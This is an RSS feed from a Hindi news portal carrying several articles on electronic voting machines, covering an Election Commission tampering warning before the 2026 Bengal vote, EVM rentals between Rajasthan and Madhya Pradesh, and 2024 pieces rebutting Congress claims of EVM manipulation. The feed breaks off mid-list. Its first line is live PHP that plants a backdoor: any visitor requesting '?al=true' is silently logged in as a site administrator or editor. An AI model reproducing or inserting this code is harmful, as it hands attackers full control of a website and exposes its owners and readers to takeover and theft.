// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); evm – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 22 Apr 2026 10:16:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 EVM के बटन पर गोंद या परफ्यूम लगाने पर होगी सख्त कार्रवाई, बंगाल चुनाव से पहले EC का अलर्ट https://pratyushaashakinayikiran.com/?p=213807 Wed, 22 Apr 2026 10:16:00 +0000 https://pratyushaashakinayikiran.com/?p=213807 कोलकाता

भारत के चुनाव आयोग (ECI) ने विधानसभा चुनावों के मद्देनजर मतदान केंद्रों पर तैनात पीठासीन अधिकारियों को कई कड़े निर्देश जारी किए हैं। ये निर्देश मुख्य रूप से इलेक्ट्रॉनिक वोटिंग मशीन (EVM) के बटनों के साथ होने वाली छेड़छाड़ को रोकने और निष्पक्ष चुनाव सुनिश्चित करने के लिए दिए गए हैं। ये हैं EVM बटनों से छेड़छाड़ रोकने के लिए सख्त नियम-

सभी उम्मीदवार बटन स्पष्ट रूप से दिखने चाहिए
बैलट यूनिट पर लगे हर उम्मीदवार के बटन पूरी तरह से खुलकर और साफ-साफ दिखाई देने चाहिए। किसी भी बटन को टेप, गोंद, चिपकने वाले पदार्थ या किसी अन्य सामग्री से ढकना या छिपाना पूरी तरह प्रतिबंधित है। आयोग का कहना है कि मतदाता को अपना वोट डालने में कोई परेशानी नहीं होनी चाहिए और यह सुनिश्चित होना चाहिए कि कोई भी बटन जानबूझकर छिपाकर मतदान को प्रभावित न किया जाए।

बटन पर कोई रंग, स्याही, परफ्यूम या केमिकल नहीं लगाया जाएगा
बैलट यूनिट के उम्मीदवार बटन पर किसी भी प्रकार का रंग, स्याही, परफ्यूम (इत्र), केमिकल या अन्य कोई पदार्थ लगाना निषिद्ध है। ऐसा करने का उद्देश्य वोट की गोपनीयता भंग करना हो सकता है, इसलिए इसे गंभीरता से लिया जाएगा। कभी-कभी कुछ लोग बटन पर ऐसे पदार्थ लगाकर बाद में पता लगाने की कोशिश करते हैं कि किस बटन को दबाया गया था, जिससे मतदान की गोपनीयता खतरे में पड़ जाती है। आयोग इसे वोट की पवित्रता पर हमला मानता है।

कोई भी अनियमितता मिलने पर तुरंत सूचना दें
यदि प्रिसाइडिंग अधिकारी को मतदान केंद्र पर ऊपर बताई गई कोई भी बात नजर आए, जैसे बटन ढका हुआ हो या उस पर कोई पदार्थ लगा हो तो उन्हें तुरंत सेक्टर अधिकारी या रिटर्निंग अधिकारी को सूचित करना होगा।

यह चुनावी अपराध है
आयोग ने साफ कहा है कि ऐसे सभी मामले को EVM से छेड़छाड़ माना जाएगा जो चुनावी अपराध है। आयोग ने चेतावनी दी है कि वह ऐसे दोषियों के खिलाफ सख्त फौजदारी कार्रवाई करने में बिल्कुल नहीं हिचकेगा।

तुरंत रिपोर्टिंग और पुनर्मतदान की चेतावनी
पीठासीन अधिकारियों को निर्देश दिया गया है कि यदि उन्हें मतदान केंद्र पर ऐसी किसी भी संदिग्ध घटना का पता चलता है, तो वे बिना देरी किए संबंधित रिटर्निंग ऑफिसर को इसकी सूचना दें। चुनाव आयोग ने चेतावनी दी है कि वह ऐसे मामलों में सख्त कदम उठाने से पीछे नहीं हटेगा। यदि किसी बूथ पर ऐसी घटना की पुष्टि होती है, तो आयोग वहां पुनर्मतदान का आदेश भी दे सकता है।

आगामी विधानसभा चुनावों का कार्यक्रम
चुनाव आयोग के ये निर्देश पश्चिम बंगाल और तमिलनाडु में होने वाले मतदान से ठीक पहले लागू किए गए हैं। पश्चिम बंगाल और तमिलनाडु में गुरुवार 23 अप्रैल को मतदान होगा। बंगाल में दो चरणों में चुनाव हो रहा है। दूसरे चरण का मतदान 29 अप्रैल को निर्धारित है। केरल, पुडुचेरी और असम में इस महीने की शुरुआत में ही मतदान प्रक्रिया पूरी हो चुकी है। इन सभी राज्यों के विधानसभा चुनावों के नतीजे 4 मई को घोषित किए जाएंगे।

पश्चिम बंगाल के मुख्य निर्वाचन अधिकारी ने यह भी स्पष्ट किया है कि चुनाव संपन्न कराने में लगे किसी भी अधिकारी की ओर से यदि कोई लापरवाही, कदाचार, पक्षपात या विफलता पाई जाती है तो इसे बेहद गंभीरता से लिया जाएगा। चूक की गंभीरता के आधार पर कानून के तहत कड़ी से कड़ी कार्रवाई की जाएगी।

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राजस्थान निकाय चुनाव के लिए मध्य प्रदेश से किराए पर EVM, दोनों राज्यों में हुआ करार https://pratyushaashakinayikiran.com/?p=195429 Wed, 04 Feb 2026 11:16:00 +0000 https://pratyushaashakinayikiran.com/?p=195429  ग्वालियर
राजस्थान राज्य में स्थानीय निकाय चुनाव कराने के लिए मध्य प्रदेश से इलेक्ट्रॉनिक वोटिंग मशीनें किराए पर लेगा. प्रदेश के चुनाव आयुक्त राजेश्वर सिंह ने कहा कि EVM की उपलब्धता के संबंध में राजस्थान और मध्य प्रदेश के राज्य चुनाव आयोगों के बीच एक अतिरिक्त MoU साइन किया गया है.

उन्होंने कहा कि MoU के तहत, मध्य प्रदेश राज्य चुनाव आयोग शहरी स्थानीय निकाय और पंचायती राज चुनावों में इस्तेमाल के लिए राजस्थान को किराए पर 30 हजार कंट्रोल यूनिट और 60 हजार बैलेट यूनिट देगा.

उन्होंने कहा कि EVM की सप्लाई, इस्तेमाल, रखरखाव, सुरक्षा और वापसी से संबंधित सभी शर्तों को भारत निर्वाचन आयोग के दिशानिर्देशों के अनुसार सुनिश्चित किया जाएगा.

राज्य निर्वाचन आयुक्त राजेश्वर सिंह ने बताया- MOU के तहत मध्य प्रदेश राज्य निर्वाचन आयोग की तरफ से राजस्थान राज्य निर्वाचन आयोग को चुनावों के लिए कुल 30 हजार कंट्रोल यूनिट और 60 हजार बैलेट यूनिट किराए पर उपलब्ध कराई जाएंगी।

स्थानीय निकाय और पंचायत चुनावों के लिए मध्यप्रदेश से मंगाई जाएंगी ईवीएम मशीन। (फाइल फोटो)

इन्होंने कहा कि इन ईवीएम का उपयोग प्रदेश में नगर निकाय एवं पंचायती राज संस्थाओं के चुनावों में किया जाएगा। ईवीएम की आपूर्ति, उपयोग, रख-रखाव, सुरक्षा और वापसी से संबंधित सभी शर्तें भारत निर्वाचन आयोग के दिशा-निर्देशों के तहत सुनिश्चित की जाएंगी।

ईवीएम के तकनीकी परीक्षण (एफ.एल.सी.), मरम्मत और आवश्यक तकनीकी सहयोग का काम भारत इलेक्ट्रॉनिक्स लिमिटेड (ईसीआईएल), हैदराबाद के अधिकृत इंजीनियरों द्वारा किया जाएगा।

राजेश्वर सिंह ने यह भी कहा कि यह समझौता दोनों आयोगों के बीच EVM की उपलब्धता और इस्तेमाल पर पहले हुई सहमति का ही विस्तार है.

चुनाव अधिकारी ने कहा कि EVM की सुरक्षा, ट्रांसपोर्टेशन, स्टोरेज और संचालन की व्यवस्था निर्धारित प्रोटोकॉल के अनुसार सुनिश्चित की जाएगी और मशीनों के लिए टेक्निकल टेस्टिंग (फर्स्ट-लेवल चेकिंग), मरम्मत और जरूरी टेक्निकल सपोर्ट इलेक्ट्रॉनिक्स कॉर्पोरेशन ऑफ इंडिया लिमिटेड (ECIL) हैदराबाद के इंजीनियर करेंगे.

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राजस्थान निकाय चुनाव के लिए मध्य प्रदेश से किराए पर EVM, दोनों राज्यों में हुआ करार https://pratyushaashakinayikiran.com/?p=195431 Wed, 04 Feb 2026 11:16:00 +0000 https://pratyushaashakinayikiran.com/?p=195431  ग्वालियर
राजस्थान राज्य में स्थानीय निकाय चुनाव कराने के लिए मध्य प्रदेश से इलेक्ट्रॉनिक वोटिंग मशीनें किराए पर लेगा. प्रदेश के चुनाव आयुक्त राजेश्वर सिंह ने कहा कि EVM की उपलब्धता के संबंध में राजस्थान और मध्य प्रदेश के राज्य चुनाव आयोगों के बीच एक अतिरिक्त MoU साइन किया गया है.

उन्होंने कहा कि MoU के तहत, मध्य प्रदेश राज्य चुनाव आयोग शहरी स्थानीय निकाय और पंचायती राज चुनावों में इस्तेमाल के लिए राजस्थान को किराए पर 30 हजार कंट्रोल यूनिट और 60 हजार बैलेट यूनिट देगा.

उन्होंने कहा कि EVM की सप्लाई, इस्तेमाल, रखरखाव, सुरक्षा और वापसी से संबंधित सभी शर्तों को भारत निर्वाचन आयोग के दिशानिर्देशों के अनुसार सुनिश्चित किया जाएगा.

राज्य निर्वाचन आयुक्त राजेश्वर सिंह ने बताया- MOU के तहत मध्य प्रदेश राज्य निर्वाचन आयोग की तरफ से राजस्थान राज्य निर्वाचन आयोग को चुनावों के लिए कुल 30 हजार कंट्रोल यूनिट और 60 हजार बैलेट यूनिट किराए पर उपलब्ध कराई जाएंगी।

स्थानीय निकाय और पंचायत चुनावों के लिए मध्यप्रदेश से मंगाई जाएंगी ईवीएम मशीन। (फाइल फोटो)

इन्होंने कहा कि इन ईवीएम का उपयोग प्रदेश में नगर निकाय एवं पंचायती राज संस्थाओं के चुनावों में किया जाएगा। ईवीएम की आपूर्ति, उपयोग, रख-रखाव, सुरक्षा और वापसी से संबंधित सभी शर्तें भारत निर्वाचन आयोग के दिशा-निर्देशों के तहत सुनिश्चित की जाएंगी।

ईवीएम के तकनीकी परीक्षण (एफ.एल.सी.), मरम्मत और आवश्यक तकनीकी सहयोग का काम भारत इलेक्ट्रॉनिक्स लिमिटेड (ईसीआईएल), हैदराबाद के अधिकृत इंजीनियरों द्वारा किया जाएगा।

राजेश्वर सिंह ने यह भी कहा कि यह समझौता दोनों आयोगों के बीच EVM की उपलब्धता और इस्तेमाल पर पहले हुई सहमति का ही विस्तार है.

चुनाव अधिकारी ने कहा कि EVM की सुरक्षा, ट्रांसपोर्टेशन, स्टोरेज और संचालन की व्यवस्था निर्धारित प्रोटोकॉल के अनुसार सुनिश्चित की जाएगी और मशीनों के लिए टेक्निकल टेस्टिंग (फर्स्ट-लेवल चेकिंग), मरम्मत और जरूरी टेक्निकल सपोर्ट इलेक्ट्रॉनिक्स कॉर्पोरेशन ऑफ इंडिया लिमिटेड (ECIL) हैदराबाद के इंजीनियर करेंगे.

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इस बार चुनाव आयोग ने कांग्रेस को शिकायतों के जवाब के साथ नसहीतें भी दीं, कहा महत्वपूर्ण दिनों में दुष्प्रचार करना पार्टी का शगल https://pratyushaashakinayikiran.com/?p=92112 Thu, 31 Oct 2024 09:16:00 +0000 https://pratyushaashakinayikiran.com/?p=92112 नई दिल्ली
कभी ईवीएम बदल दिया गया तो कभी ईवीएम हैक हो गया तो कभी ईवीएम खराब हो गया तो कभी मतगणना अधिकारी ने गड़बड़ी कर दी… कांग्रेस पार्टी हर चुनाव में कुछ ना कुछ शिकायत जरूर करती है। लेकिन जैसे ही जीत मिलती है, जश्न का माहौल हावी हो जाता है और शिकायतें कहीं पृष्ठभूमि में चली जाती हैं और हार मिल गई तो शिकायतों का सिलसिला जारी। चुनाव आयोग ने मंगलवार को लिखी चिट्ठी में कुछ इसी अंदाज में जवाब दिया है।
हरियाणा की हार का ठीकरा भी ईवीएम पर

कांग्रेस ने हरियाणा विधानसभा चुनाव में मिली हार का ठीकरा कुछ अलग तरह से फोड़ा। पार्टी ने इस बार बड़ी अलबेली वजह बताकर ईवीएम में हेरफेर का आरोप मढ़ा। कांग्रेस ने कहा कि कई मतगणना केंद्रों पर ईवीएम की बैटरी बाकियों के मुकाबले ज्यादा चार्ज थी। पार्टी ने दावा किया जहां ईवीएम की बैटरी ज्यादा चार्ज थी, वहां उसे हार मिली है। पार्टी ने इसकी आधिकारिक शिकायत चुनाव आयोग से की थी जिसका जवाब आयोग ने मंगलवार को दिया।

कांग्रेस को चुनाव आयोग की हिदायत

चुनाव आयोग ने कांग्रेस के रवैये पर आपत्ति जाहिर की और उसे सावधान भी किया। आयोग ने 26 विधानसभा क्षेत्रों के रिटर्निंग ऑफिसर्स की री-वेरिफिकेशन रिपोर्ट का हवाला दिया। आयोग ने कहा कि पूरी जांच के बाद पाया गया कि चुनावी प्रक्रिया का हर चरण सही था और कांग्रेस उम्मीदवारों या एजेंटों की देखरेख में किया गया था। यह जानकारी 1,600 पेज की रिपोर्ट में है।

चुनाव आयोग ने डीटेल में दिया जवाब

आयोग ने कांग्रेस को दिए जवाब में कहा, 'रिटर्निंग ऑफिसर्स को चुनावी प्रक्रिया में किसी भी तरह की गड़बड़ी का कोई सबूत नहीं मिला है। जवाबों से पता चलता है कि कांग्रेस के उम्मीदवारों, प्रतिनिधियों और उनके एजेंट चुनाव की विभिन्न प्रक्रियाओं में शामिल थे, जिसमें ईवीएम प्रक्रियाएं भी शामिल हैं।' 8 अक्टूबर को मतगणना के दिन कांग्रेस ने चुनाव आयोग को एक ज्ञापन भेजा था, जिसमें आरोप लगाया गया था कि सुबह 9-11 बजे के बीच आयोग की वेबसाइट पर हरियाणा के परिणामों को अपडेट करने में बेवजह सुस्ती देखी गई जिस कारण संदेह होने का मौका मिला। बाद में एक संवाददाता सम्मेलन में कांग्रेस के जयराम रमेश और पवन खेड़ा ने भी ज्यादा चार्ज बैटरी वाले ईवीए में कांग्रेस के उम्मीदवारों को झटका लगने की बात कही थी।

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EVM 100% सुरक्षित, जनता ने दे दिया जवाब, CEC ने कांग्रेस को सुनाया https://pratyushaashakinayikiran.com/?p=84776 Tue, 15 Oct 2024 14:16:00 +0000 https://pratyushaashakinayikiran.com/?p=84776 नई दिल्ली
 महाराष्ट्र और झारखंड के लिए चुनाव तिथियों की घोषणा से पहले विपक्षी दलों द्वारा एक बार फिर ईवीएम में हेराफेरी का मुद्दा उठाए जाने के बाद, मुख्य चुनाव आयुक्त राजीव कुमार ने मंगलवार को कहा कि जनता ने मतदान में हिस्सा लेकर सवालों के जवाब दिए हैं.

कुमार ने कहा, "जनता मतदान में भाग लेकर सवालों के जवाब देती है. जहां तक ​​ईवीएम का सवाल है, वे 100 प्रतिशत फुलप्रूफ हैं. अगर वे आज फिर सवाल उठाते हैं, तो हम उन्हें फिर से बताएंगे."

कांग्रेस नेता ने पेजर हैक का उदाहरण देकर ईवीएम पर उठाया सवाल

इससे पहले, कांग्रेस नेता राशिद अल्वी ने दावा किया था कि ईवीएम में हेराफेरी की जा सकती है, उन्होंने इजरायल द्वारा आतंकवादी संगठन हिजबुल्लाह के पेजर हैक करने का उदाहरण दिया.

राशिद अल्वी ने कहा, "महाराष्ट्र में विपक्ष को ईवीएम के बजाय पेपर बैलेट से मतदान कराने पर जोर देना चाहिए. अन्यथा महाराष्ट्र में भाजपा सरकार और चुनाव आयोग कुछ भी कर सकते हैं. अगर इज़रायल पेजर और वॉकी-टॉकी के इस्तेमाल से लोगों को मार सकता है, तो ईवीएम कहां है? प्रधानमंत्री के इज़रायल के साथ बहुत अच्छे संबंध हैं. इजरायल ऐसी चीजों में माहिर है. ईवीएम का बड़ा खेल कहीं भी हो सकता है और उसके लिए भाजपा चुनाव से पहले यह सब खेल कर लेती है."

कांग्रेस नेता जयराम रमेश ने हरियामा चुनाव को लेकर दी है लिखित शिकायत

पिछले हफ्ते कांग्रेस नेता जयराम रमेश ने चुनाव आयोग को एक ज्ञापन सौंपा और कहा कि उन्हें उम्मीद है कि निकाय इस मुद्दे का संज्ञान लेगा और उचित निर्देश देगा.

सोशल मीडिया प्लेटफॉर्म एक्स पर पार्टी के संचार प्रभारी महासचिव ने लिखा, "9 अक्टूबर को कांग्रेस पार्टी के वरिष्ठ नेताओं ने चुनाव आयोग को शिकायतों से भरा ज्ञापन सौंपा था. इसे आगे बढ़ाते हुए आज हमने हरियाणा के 20 विधानसभा क्षेत्रों में चुनाव प्रक्रिया में गंभीर और स्पष्ट अनियमितताओं को उजागर करते हुए एक अपडेटेड ज्ञापन दिया है. हमें उम्मीद है कि चुनाव आयोग इसका संज्ञान लेगा और उचित निर्देश जारी करेगा."

कांग्रेस नेता पवन खेड़ा ने 20 सीटों पर गड़बड़ी की लिस्ट आयोग को सौंपी है

कांग्रेस नेता पवन खेड़ा ने कहा कि पार्टी ने 20 सीटों की सूची भेजी है, जिन पर उम्मीदवारों ने हरियाणा विधानसभा चुनाव में ईवीएम की मतगणना को लेकर अपनी लिखित और मौखिक शिकायतें प्रस्तुत की हैं.

खेड़ा ने कहा, "हमने चुनाव आयोग को 20 सीटों की सूची भेजी है, जिसके बारे में हमारे उम्मीदवारों ने 99 प्रतिशत बैटरी चार्ज होने की लिखित और मौखिक शिकायतें दी हैं. यह मुद्दा मतगणना के दिन उठाया गया था… यह एक अजीब संयोग है कि जिन मशीनों में 99 प्रतिशत बैटरी चार्ज दिखाई गई, वे वही मशीनें थीं जिन पर कांग्रेस को ज्यादातर हार का सामना करना पड़ा. 60-70 प्रतिशत बैटरी चार्ज वाली मशीनें वे थीं जिन पर कांग्रेस जीती. ऐसा क्यों हुआ?"

चुनाव आयोग मंगलवार को महाराष्ट्र और झारखंड के लिए चुनाव की तारीखों की घोषणा करेगा.

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अग्निपरीक्षा में भी बेदाग साबित हुई थी ईवीएम, शीर्ष अदालत ने निहित स्वार्थ वालों को लगाई थी फटकार https://pratyushaashakinayikiran.com/?p=82441 Thu, 10 Oct 2024 09:08:00 +0000 https://pratyushaashakinayikiran.com/?p=82441 नई दिल्ली

राहुल गांधी ने एक बार कहा था कि प्रधानमंत्री नरेंद्र मोदी की असली ताकत उनका इकबाल है और एक दिन वह उस इकबाल को खत्म करके रहेंगे। इसके लिए उन्होंने कोशिशें भी खूब की। राफेल सौदे को लेकर 'चौकीदार चोर है' का अभियान हो या हिंडनबर्ग रिपोर्ट को लेकर 'मोदानी' का हमला या फिर अंबानी-अडानी की जेब में सरकार वाला नैरेटिव…राहुल गांधी ने हर मुमकिन कोशिश की लेकिन कामयाबी नहीं मिली। राहुल गांधी मोदी का इकबाल खत्म भले न कर पाए लेकिन ऐसा लगता है कि उनकी पार्टी अब संवैधानिक संस्थाओं की विश्वसनीयता को ध्वस्त करने के खतरनाक खेल में जुट गई है। हरियाणा चुनाव में हार का ठीकरा ईवीएम पर फोड़ने और चुनाव आयोग पर हमले से कांग्रेस असल में यही कर रही। उस ईवीएम पर सवाल उठा रही जो एक बार नहीं बल्कि कई बार, बार-बार अग्निपरीक्षा में पास हुई है। बेदाग साबित हुई है। सुप्रीम कोर्ट से क्लीन चिट मिली। चुनाव आयोग ने हैकिंग का ओपन चैलेंज तक दिया लेकिन कोई सामने नहीं आया।

जीत गए तो ईवीएम ठीक, हार गए तो सारा दोष ईवीएम का!
मंगलवार को दो राज्यों के चुनाव नतीजे आए। जम्मू-कश्मीर और हरियाणा। जम्मू-कश्मीर में कांग्रेस-नैशनल कॉन्फ्रेंस गठबंधन की जीत हुई तो हरियाणा में बीजेपी की। लेकिन दोनों परिणामों को लेकर कांग्रेस की प्रतिक्रिया में जमीन-आसमान का फर्क था। जहां जीते वहां तो लोकतंत्र की जीत। राज्य के साथ 'अन्याय' और 'अपमान' का जनता का करारा जवाब। तरह-तरह के लच्छेदार जुमले। लेकिन जहां हार गए, वहां जनादेश का सम्मान तो दूर, उसे न स्वीकार करने का अहंकार। जीत गए तो ईवीएम ठीक, हार गए तो सारा दोष ईवीएम का।

हरियाणा चुनाव के लिए मंगलवार सुबह 8 बजे जब काउंटिंग शुरू हुई तो शुरुआती रुझानों में कांग्रेस बहुमत के आंकड़े को पार कर चुकी थी। लेकिन 1-2 घंटे बाद ही रुझान पलट गए। बीजेपी आगे हो गई। एक बार आगे हुई तो फिर अंतिम नतीजे आने तक आगे ही रही। पिछड़ने के बाद से ही कांग्रेस ने चुनाव आयोग पर सवाल उठाने शुरू कर दिए। पहले काउंटिंग के आंकड़ों के कथित धीमे अपडेट का मुद्दा उठाया। वक्त के साथ जब रुझान निर्णायक मोड़ पर पहुंच गए तब कांग्रेस ने ईवीएम पर ही सवाल उठाना शुरू कर दिया। जनादेश को स्वीकार करने के बजाय कांग्रेस ने काउंटिंग की प्रक्रिया पर सवाल उठा दिए। ईवीएम पर उंगली उठाई। साजिश का आरोप लगाने लगे। जयराम रमेश ने आरोप लगाया कि मतगणना के वक्त कई ईवीएम में 99 प्रतिशत बैटरी चार्ज मिली। जिन ईवीएम की बैटरी 60-70 प्रतिशत चार्ज थीं वहां कांग्रेस के अच्छे प्रदर्शन का दावा किया। जहां 99 प्रतिशत बैटरी चार्ज थी वहां बीजेपी की जीत का दावा किया. लेकिन चुनाव आयोग ने इन आरोपों को सिरे से खारिज करते हुए कहा कि ईवीएम बैटरी की क्षमता और नतीजों में कोई संबंध ही नहीं है।

आत्ममंथन के बजाय ईवीएम का रोना!
कांग्रेस ने हार को स्वीकार कर आत्ममंथन और समीक्षा के बजाय बहानेबाजी का आसान रास्ता चुना लेकिन ऐसा करते हुए वह दुनिया के सबसे बड़े लोकतंत्र की महान लोकतांत्रिक प्रक्रिया और उसकी विश्वसनीयता को नुकसान पहुंचा रही है। हरियाणा में इस बार कांग्रेस के प्रदर्शन में सुधार हुआ है। 90 विधानसभा सीटों वाले राज्य में 2019 में 31 सीट जीतने वाली कांग्रेस ने इस बार 37 सीटों पर जीत हासिल की। वोट शेयर में भी जबरदस्त इजाफा हुआ। पिछली बार कांग्रेस का वोटशेयर 28 प्रतिशत था तो इस बार 39 प्रतिशत यानी 11 प्रतिशत ज्यादा रहा। लेकिन प्रदर्शन में ये सुधार सत्ता तक नहीं पहुंचा पाया। ऐसा क्यों हुआ, उसकी समीक्षा के बजाय पार्टी चुनावी प्रक्रिया पर ही लांछन लगाने लगी है।

वैसे कांग्रेस या विपक्षी दल ऐसा पहली बार नहीं कर रहे। इससे पहले भी अपनी-अपनी सुविधा के हिसाब से पार्टियां ईवीएम पर चुप्पी या हो-हल्ला मचाती रही हैं। ईवीएम की विश्वसनीयता पर सवाल तो सबसे पहले बीजेपी ने ही उठाए थे। 2009 की हार के बाद लाल कृष्ण आडवाणी ने ईवीएम पर संदेह किया था। बीजेपी के एक और नेता जीवीएल नरसिम्हा राव ने तो बाकायदे किताब लिखकर ईवीएम पर संदेह जताया था। लेकिन ईवीएम एक बार नहीं, कई बार अग्निपरीक्षा से गुजरी और हर बार बेदाग निकली। जब देश की सबसे बड़ी अदालत से ईवीएम और चुनाव आयोग को क्लीन चिट मिल गई तब इस पर चल रहा विवाद खत्म हो जाना चाहिए था।

हर अग्निपरीक्षा में बेदाग साबित हुई है ईवीएम
निहित स्वार्थ के तहत चुनाव आयोग और ईवीएम को लांछित करने की कोशिशों पर सुप्रीम कोर्ट एडीआर जैसे समूहों को लताड़ लगा चुका है। इसी साल अप्रैल में जब लोकसभा चुनाव की प्रक्रिया चल रही थी तब सर्वोच्च अदालत ने पिछले 70 सालों से स्वतंत्र और निष्पक्ष चुनाव कराने के लिए चुनाव आयोग की तारीफ की और साथ में इस पर दुख जताया कि 'निहित स्वार्थी समूह' देश की उपलब्धियों को कमजोर कर रहे हैं। सुप्रीम कोर्ट ने कहा कि ईवीएम पर 8 बार परीक्षण किया गया और ये हर बार बेदाग निकली। ईवीएम को लेकर कई बार मामले हाई कोर्ट और सुप्रीम कोर्ट पहुंचे लेकिन हर बार उसकी विश्वसनीयता असंदिग्ध मिली। वीवीपैट पर्चियों और ईवीएम में दर्ज वोटों के मिलान में कभी कोई विसंगति नहीं दिखी। अभी हाल ही में सुप्रीम कोर्ट के आदेश पर कई राज्यों में ईवीएम में दर्ज वोट और वीवीपैट का मिलान हुआ। सब सही पाया गया और ईवीएम बेदाग साबित हुई।

सात साल पहले 2017 में तो चुनाव आयोग ने राजनीतिक दलों या किसी भी व्यक्ति या संगठन को ईवीएम हैक करके दिखाने का खुला चैलेंज दिया था। तब सिर्फ 2 पार्टियों ने ही चैलेंज स्वीकार किया था- एनसीपी और सीपीएम। तय तारीख को दोनों पार्टियों के नेता चुनाव आयोग के दफ्तर तो पहुंचे लेकिन चैलेंज में हिस्सा लेने की हिम्मत नहीं हुई। हां, आम आदमी पार्टी ने जरूर दिल्ली विधानसभा के भीतर प्रहसन किया। विधानसभा का विशेष सत्र बुलाकर जुगाड़ के डिब्बों को ईवीएम का नाम देकर कथित तौर पर हैक करके दिखाया गया। पार्टी ने असली ईवीएम के बजाय 'जुगाड़ डिब्बे' का इस्तेमाल करके सस्ती पब्लिसिटी का हथकंडा अपनाया। चुनाव आयोग कार्रवाई न कर दे, इसलिए विधानसभा के विशेष सत्र की आड़ ली गई।

हार-जीत होती रहेगी, जनता में भ्रम तो मत फैलाओ!
कुल मिलाकर, ईवीएम कई बार अग्निपरीक्षा से गुजरी है और हर बार बेदाग साबित हुई है। इसका इस्तेमाल चुनाव प्रक्रिया को आसान बनाने और बूथ कैप्चरिंग जैसे अपराधों पर लगाम लगाने के लिए किया गया। बैलट पेपर से चुनाव के वक्त अक्सर बैलट बॉक्स लूटे जाने, उनमें स्याही डालने, बूथ कैप्चरिंग जैसे अपराध सामने आते थे लेकिन ईवीएम का दौर आने से अब वे अतीत का हिस्सा बनकर रह गए हैं। ईवीएम से वोटिंग से परिणाम भी जल्दी आते हैं नहीं तो बैलट पैपर्स की गिनती में ही 1-2 दिन और लोकसभा चुनाव में तो 3-3, 4-4 दिन तक लग जाते थे। सुप्रीम कोर्ट भी बैलट पेपर से वोटिंग कराने की मांग वाली याचिकाओं को खारिज कर दिया है। ईवीएम की शुचिता असंदिग्ध रहे, इसके लिए मशीन में दर्ज वोटों और वीवीपैट पर्चियों के मिलान होता है। पार्टियां अपनी हार का ठीकरा ईवीएम पर फोड़कर अपने समर्थकों का जोश ठंडा होने या उन्हें मायूस होने से तो रोक लेंगे, लेकिन ऐसा करके वे चुनाव आयोग की विश्वसनीयता को बेवजह दागदार करने की कुत्सित कोशिश ही कर रहे होते हैं। संवैधानिक संस्थाओं को लांछित करने का ये खेल खतरनाक है। चुनाव आते-जाते रहेंगे, हार-जीत होती रहेंगी लेकिन निहित स्वार्थों के तहत चुनाव प्रक्रिया को लेकर जनमानस में संदेह पैदा करने की कोशिशें शर्मनाक हैं। कांग्रेस हो या कोई और पार्टी, आखिर इससे कब बाज आएंगी?

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चुनावों में ईवीएम से छेड़छाड़ के आरोप फिर से बेबुनियाद साबित हो रहे हैं https://pratyushaashakinayikiran.com/?p=64367 Sat, 31 Aug 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=64367 नई दिल्ली
 इलेक्ट्रॉनिक वोटिंग मशीनें (ईवीएम) एक और परीक्षण में बेदाग साबित होकर निकल रही हैं। लोकसभा चुनावों में हारने वाले देशभर के विभिन्न राज्यों में अलग-अलग दलों के उम्मीदवारों ने ईवीएम पर आशंका जताई तो हर किसी के दावों की जांच शुरू हो गई। उम्मीदवारों की मांग के मुताबिक, ईवीएम और वीवीपैट का मिलान किया गया और अब तक एक भी सबूत नहीं मिला जिससे ईवीएम में गड़बड़ी के दावों को सही माना जाए। ईवीएम-वीवीपैट चेकिंग एंड वेरिफिकेशन (सीएंडवी) यानी जांच और पुष्टि की प्रक्रिया सिर्फ तमिलनाडु में पूरी नहीं हुई है, बाकी पूरे देश से आई शिकायतों का समाधान हो चुका है। तमिलनाडु में भी एक-दो दिन में ही सीएंडवी प्रोसेस पूरा होने की उम्मीद है। लक्ष्य है कि 1 सितंबर तक पूरे देश में ईवीएम-वीवीपैट की जांच और पुष्टि प्रक्रिया को संपन्न कर लिया जाए।

सुप्रीम कोर्ट के आदेश पर हुई जांच और बेदाग निकलीं ईवीएम

हमारे सहयोगी अखबार द इकनॉमिक टाइम्स (ईटी) को पता चला है कि संभावित छेड़छाड़ के आरोपों की जांच के लिए ईवीएम-वीवीपैट मेमरी चेक में अब तक कोई खामी नहीं मिली है। राष्ट्रीय चुनाव आयोग ने सुप्रीम कोर्ट के आदेश पर पहली बार हर चुनाव क्षेत्र से दो पराजित उम्मीदवारों के लिए उनकी आशंकाओं को दूर करने के दरवाजे खोल दिए। किसी भी चुनाव क्षेत्र के हारे हुए दो प्रत्याशियों को अधिकार मिला है कि वो 4 जून को लोकसभा चुनावों को आए परिणाम के सात दिनों के भीतर ईवीएम-वीवीपैट मिलान की मांग कर सकें।

प्रमुख तथ्य
➤ आठ में से दो सीएंडवी अप्लिकेशन पर जांच लंबित रही क्योंकि उम्मीदवारों ने अदालत में याचिका दाखिल कर रखी थी।
➤ दो मामलों में सीएंडवी प्रोसेस रोक दिए गए क्योंकि शिकायत करने वाले उम्मीदवार आए ही नहीं।
➤ चार सीएंडवी प्रोसेस पूरे हुए और किसी में कोई गड़बड़ी नहीं पाई गई।

किस-किस राज्य के कौन से चुनाव क्षेत्र से आए आवेदन, जानिए

लोकसभा चुनाव परिणाम आने के बाद 543 में से सिर्फ आठ चुनाव क्षेत्रों से जांच एवं पुष्टि की मांग वाले आवेदन प्राप्त हुए। ये आवेदन छह राज्यों के 92 पोलिंगग बूथों से संबंधित थे। वहीं, विधानसभा चुनावों में दो राज्यों के 26 मतदान केंद्रों से जुड़े तीन आवेदन मिले थे।

तमिलनाडु
➤ वेल्लोर संसदीय क्षेत्र के उम्मीदवार एसी षणमुगम ने जांच और पुष्टि का आवेदन दिया था।
➤ विरुधुनगर से डीएमडीके कैंडिडेट विजय प्रभाकरण वी ने आवेदन दिया। वो कांग्रेस के मणिकम टैगोर से 4,379 वोटों से हार गए।

महाराष्ट्र
➤ अहमदनगर सीट से बीजेपी कैंडिडेट सुजय विखे पाटिल ने सीएंडवी अप्लिकेशन डाला। वो शरद पवार के गुट वाली एनसीपी कैंडिडेट नीलेश लंके से 28 हजार वोटों से हार गए।

हरियाणा
